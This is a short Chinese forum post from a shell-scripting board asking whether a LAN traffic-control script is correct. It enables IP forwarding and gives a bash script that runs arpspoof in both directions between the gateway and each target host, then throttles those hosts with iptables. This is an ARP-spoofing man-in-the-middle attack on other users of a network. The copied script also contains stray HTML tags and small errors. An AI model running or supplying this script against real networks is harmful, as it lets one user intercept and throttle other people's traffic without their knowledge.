这个脚本对吗?脚本控制内网流量的方法

sh/bash/dash/ksh/zsh等Shell脚本
回复
头像
九天星
帖子: 1440
注册时间: 2007-07-14 20:45

这个脚本对吗?脚本控制内网流量的方法

#1

帖子 九天星 » 2015-10-17 17:06

1、先开启网卡的路由转发功能

代码: 全选

echo "1" > /proc/sys/net/ipv4/ip_forward
2、然后使用arpspoof 和 iptable进行限速

代码: 全选

#!/bin/bash
if [ $# -le 2 ]
then
echo "Usage: ./iptables.sh speed gateway ip1 ip2 ...."
exit -1
else
speed=$1
gateway=$2
fi
IPT=/sbin/iptables</p> <p>while [ $# -gt 2 ]
do
shift
echo $gateway,$2
arpspoof -i wlan0 -t $2 $gateway&
arpspoof -i wlan0 -t $gateway $2&</p> <p> $IPT -A FORWARD -s $2 -m limit --limit ${speed}/s -j accept</p> <p> $IPT -A FORWARD -d $2 -m limit --limit ${speed}/s -j ACCEPT</p> <p> $IPT -A FORWARD -s $2 -j DROP</p> <p> $IPT -A FORWARD -d $2 -j DROP</p> <p>done
3、使用方法
sudo ./iptable.sh 要限的速度 网关ip 限速主机1 限速主机2
回复